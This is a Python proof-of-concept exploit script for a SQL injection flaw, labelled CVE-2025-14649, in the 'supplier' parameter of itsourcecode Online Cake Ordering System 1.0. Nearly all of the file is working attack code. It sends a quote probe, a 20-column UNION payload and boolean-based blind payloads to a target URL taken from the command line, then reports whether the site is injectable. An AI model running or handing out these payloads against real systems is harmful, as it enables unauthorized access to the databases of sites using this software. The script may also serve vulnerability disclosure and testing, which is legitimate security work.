import requests
import sys
# CVE-2025-14649 SQL Injection PoC
# Target: itsourcecode Online Cake Ordering System 1.0
# File: /cakeshop/supplier.php
# Parameter: supplier
def exploit_sqli(target_url):
"""
SQL Injection exploitation using UNION-based technique
"""
# Vulnerable endpoint
vuln_url = f"{target_url}/cakeshop/supplier.php"
# Payload for SQL injection - basic test with single quote
payload_test = "'"
# UNION-based payload to extract database information
payload_union = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- -"
# Boolean-based blind SQL injection payload
payload_boolean = "' AND 1=1-- -"
payload_boolean_false = "' AND 1=2-- -"
print(f"[*] Testing vulnerable parameter: supplier")
print(f"[*] Target URL: {vuln_url}")
# Test basic injection
params = {"supplier": payload_test}
try:
response = requests.get(vuln_url, params=params, timeout=10)
if "error" in response.text.lower() or "sql" in response.text.lower():
print("[+] Potential SQL injection detected!")
except Exception as e:
print(f"[-] Request failed: {e}")
# Test UNION-based injection
params_union = {"supplier": payload_union}
try:
response = requests.get(vuln_url, params=params_union, timeout=10)
if response.status_code == 200:
print("[+] UNION injection payload sent successfully")
print(f"[+] Response length: {len(response.text)} bytes")
except Exception as e:
print(f"[-] UNION injection failed: {e}")
# Test boolean-based blind injection
params_true = {"supplier": payload_boolean}
params_false = {"supplier": payload_boolean_false}
try:
resp_true = requests.get(vuln_url, params=params_true, timeout=10)
resp_false = requests.get(vuln_url, params=params_false, timeout=10)
if len(resp_true.text) != len(resp_false.text):
print("[+] Boolean-based blind SQL injection confirmed!")
except Exception as e:
print(f"[-] Blind injection test failed: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://target.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
exploit_sqli(target)